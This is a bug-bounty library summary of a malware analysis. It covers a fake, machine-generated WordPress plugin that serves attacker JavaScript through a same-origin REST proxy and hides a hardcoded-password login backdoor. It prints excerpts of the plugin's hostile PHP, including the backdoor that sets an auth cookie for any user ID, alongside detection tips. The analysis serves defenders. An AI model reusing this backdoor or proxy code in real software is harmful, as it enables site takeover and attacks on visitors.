# Machine-Generated Fake Plugin Turns WordPress Sites Into JavaScript Delivery Points

Machine-generated fake WordPress plugin serves attacker JavaScript to anonymous visitors via same-origin REST proxy and hides a hardcoded-password auth backdoor for any user ID.

- Payout: Real-world hack
- Severity: critical
- Program: WordPress
- Analysis by: Marco Wotschka
- Disclosed: 2026-11-24
- Write-up quality: 7/10
- Original: https://www.wordfence.com/blog/2026/11/machine-generated-fake-plugin-turns-wordpress-sites-into-javascript-delivery-points/
- Library page: https://bugbountylibrary.com/r/blog%3Awordfence-com-blog-2026-11-machine-generated-fake-plugin-turns-wordpress-sites-into-javascript-delivery-points
- Tags: area:web domain:web impact:ato impact:integrity kind:incident platform:research sev:critical tech:php tech:wordpress technique:source-review vuln:auth-bypass vuln:misconfiguration

**Target:** WordPress plugin (PHP/JS) on infected sites
**Root cause:** Malicious plugin registered REST/AJAX endpoints that proxy C2 payloads server-side and echo them as same-origin JavaScript, plus an init-hooked function calling wp_set_auth_cookie() on a hardcoded GET password.
**Steps:**
1. Install/activate plugin as admin; register_activation_hook timestomps plugin directory and files to oldest plugin mtime
2. Anonymous visitor GETs any page; JS calls `POST /wp-admin/admin-ajax.php?action=<gen>` bootstrap, returns CID and 5-min cookie
3. Browser `POST /wp-json/<plugin>-<xxxxxx>/v1/<xxxxx>`; PHP calls C2 server-side and echoes JS with `Content-Type: application/javascript`
4. Injected via `script.textContent = xhr.responseText; document.head.appendChild(script);`
5. Backdoor: `GET /?microvueity_supercloudment=<user_id>&micromicroserviceor_service=<hardcoded_pw>` triggers `wp_set_auth_cookie($id)` and redirect to /wp-admin
**How found:** Incident response on two infected sites; noticed generated naming pattern, base64-double-encoded C2 constant prefixed `2$`, and identical mtimes across plugin files indicating timestomping.
**Exploitation:** Attacker with admin access installs plugin; every anonymous visitor is walked through a multi-step funnel proxied through the victim domain, ending in `/api/click` conversion reporting (ad fraud/traffic resale). Backdoor password grants login as any user ID, surviving password resets and 2FA.
**Escalation:** Backdoor allows persistent admin takeover independent of credential rotation or MFA; same-origin proxying bypasses CSP and client blocklists.
**Insight:** Check plugin directory mtimes for identical-to-the-second values across all files (timestomping artifact), and enumerate `/wp-json/` index for generated-looking namespaces with 6-char suffixes; grep plugin code for `wp_set_auth_cookie` on init hooks.

## Proof of concept (copied exactly from the original report)

**Backdoor login via GET params sets auth cookie**

```
function autodataible_miniservicesion()
{
 if (isset($_GET['microvueity_supercloudment']) && isset($_GET['micromicroserviceor_service'])) {
 $pentavueal_fastinfrastructureive = intval($_GET['microvueity_supercloudment']);
 if ($_GET['micromicroserviceor_service'] !== "[REDACTED]") {
 exit;
 }
 wp_set_auth_cookie($pentavueal_fastinfrastructureive);
 wp_redirect("/wp-admin");
 exit;
 }
}
```

**REST endpoint echoes C2 JavaScript payload**

```
public function fastserveral_smartapplicationable($proapier_quickappness) {
 $multiservice_autoserviceness = $proapier_quickappness->get_json_params();
 if (empty($multiservice_autoserviceness) || !is_array($multiservice_autoserviceness)) {
 header('Content-Type: application/javascript; charset=utf-8');
 echo '/* Invalid request body */';
 exit;
 }
 $maxapplicationing_pentareacted = $this->devops_reactful($multiservice_autoserviceness);
 if (is_wp_error($maxapplicationing_pentareacted)) {
 header('Content-Type: application/javascript; charset=utf-8');
 http_response_code($maxapplicationing_pentareacted->get_error_data()['status'] ?? 500);
 echo '/* ' . esc_js($maxapplicationing_pentareacted->get_error_message()) . ' */';
 exit;
 }
 header('Content-Type: application/javascript; charset=utf-8');
 header('Cache-Control: no-cache, no-store, must-revalidate');
 echo $maxapplicationing_pentareacted;
 exit;
}
```

**Bootstrap AJAX returns CID and sets cookie**

```
public function PH_FUNC_HANDLE_BOOTSTRAP() {
 if (is_user_logged_in()) {
 wp_send_json_error(['quadapier_pentaapplicationer' => 'Unauthorized']);
 return;
 }
 $megaapiment_smartmicroserviceed = autojavascriptist_microendpointive::PH_FUNC_GET_CLIENT_IP($_SERVER);
 $superapp_maxcloudic = $this->ultradataity_triapiing->uniendpointless_autoplatformment($megaapiment_smartmicroserviceed, 1);
 if (empty($superapp_maxcloudic)) {
 wp_send_json_error(['quadapier_pentaapplicationer' => 'Bootstrap failed']);
 return;
 }
 $PH_VAR_BOOTSTRAP_COOKIE_NAME = (defined('tLp9ciEWnfHtiVBAwV8log') ? bireactable_bivueal . '_' : '') . 'joseph_quickapplicationful';
 $PH_VAR_HASH = $this->ultradataity_triapiing->PH_FUNC_BOOTSTRAP_HASH($superapp_maxcloudic);
 $PH_VAR_EXPIRY = 300;
 setcookie($PH_VAR_BOOTSTRAP_COOKIE_NAME, $PH_VAR_HASH, time() + $PH_VAR_EXPIRY, '/', '', is_ssl(), true);
 nocache_headers();
 header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
 wp_send_json_success(['nanoalgorithmtion_autoangularist' => $superapp_maxcloudic]);
}
```

